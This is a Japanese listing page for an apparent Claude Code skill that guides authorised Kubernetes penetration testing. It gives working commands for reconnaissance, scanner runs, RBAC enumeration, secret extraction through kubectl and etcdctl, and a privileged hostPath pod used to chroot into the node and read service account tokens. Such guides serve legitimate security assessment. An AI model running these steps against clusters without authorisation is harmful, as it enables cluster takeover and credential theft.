mcpField
P
performing-kubernetes-penetration-testing

performing-kubernetes-penetration-testing

github.com/mukul975セキュリティ35.2k96 回インストール8 週間前に更新
リポジトリ

performing-kubernetes-penetration-testing について

許可を得たテスター向けに、攻撃手法を模擬してKubernetesクラスターのセキュリティを評価するガイドです。偵察、自動スキャン、ベンチマーク検査、RBACやシークレットのテスト、所見の検証を扱います。

主な機能

  1. 01クラスター攻撃対象領域の概要
  2. 02外部偵察の手順
  3. 03kube-hunterとkube-benchのスキャン
  4. 04Kubescapeによるフレームワーク評価
  5. 05RBACとシークレットアクセスのテスト
  6. 06所見の検証コマンド

活用シーン

  1. 01許可されたKubernetesクラスターの評価
  2. 02セキュリティフレームワークへの準拠確認
  3. 03RBACとシークレット露出のテスト
  4. 04スキャン所見に基づく修正の再検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-kubernetes-penetration-testing

インストール後、Claude Code で/performing-kubernetes-penetration-testingを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

Kubernetes の侵入テストの実施

概要

Kubernetes の侵入テストでは、API サーバー、kubelet、etcd、Pod、RBAC、ネットワークポリシー、シークレットに対して攻撃者の手法をシミュレーションし、クラスターのセキュリティを体系的に評価します。kube-hunter、Kubescape、peirates などのツールや、手動での kubectl による攻撃を利用して、クラスターの侵害につながる可能性がある設定ミスを特定します。

使用する場面

  • Kubernetes の侵入テストを実施するセキュリティ評価を行う場合
  • 関連するセキュリティイベントのインシデント対応手順に従う場合
  • 定期的なセキュリティテストや監査を実施する場合
  • 実践的なテストを通じてセキュリティ制御を検証する場合

前提条件

  • 承認された侵入テストの契約
  • Kubernetes クラスターへのアクセス(テストシナリオに応じたさまざまなレベル)
  • kube-hunter、kubescape、kube-bench がインストールされていること
  • kubectl が設定済みであること
  • クラスターのコンポーネントへのネットワークアクセス

中核となる概念

Kubernetes の攻撃対象領域
コンポーネントポート攻撃ベクトル
API サーバー6443認証のバイパス、RBAC の悪用、匿名アクセス
Kubelet10250/10255認証なしのアクセス、コマンド実行
etcd2379/2380認証なしの読み取り、シークレットの抽出
Dashboard8443デフォルト認証情報、トークンの窃取
NodePort サービス30000-32767サービスの公開、アプリケーションの悪用
CoreDNS53DNS スプーフィング、ゾーン転送
Kubernetes 向け MITRE ATT&CK
フェーズテクニック
初期アクセス公開された Dashboard、Kubeconfig の窃取、アプリケーションの悪用
実行コンテナー内での exec、CronJob、特権 Pod のデプロイ
永続化バックドアコンテナー、変更用 Webhook、静的 Pod
権限昇格特権コンテナー、ノードへのアクセス、RBAC の悪用
防御回避Pod 名の偽装、名前空間の隠蔽、ログの削除
認証情報へのアクセスシークレットの抽出、サービスアカウントトークンの窃取
ラテラルムーブメントコンテナーからの脱出、クラスター内部のサービス

ワークフロー

ステップ 1:外部偵察
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet
ステップ 2:kube-hunter による自動スキャン
# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
ステップ 3:kube-bench による CIS ベンチマーク評価
# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
ステップ 4:Kubescape によるフレームワーク準拠評価
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
ステップ 5:RBAC の悪用テスト
# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
ステップ 6:シークレット抽出テスト
# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only
ステップ 7:Pod の悪用
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
ステップ 8:ネットワークポリシーのテスト
# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

検証コマンド

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

参考資料

コメント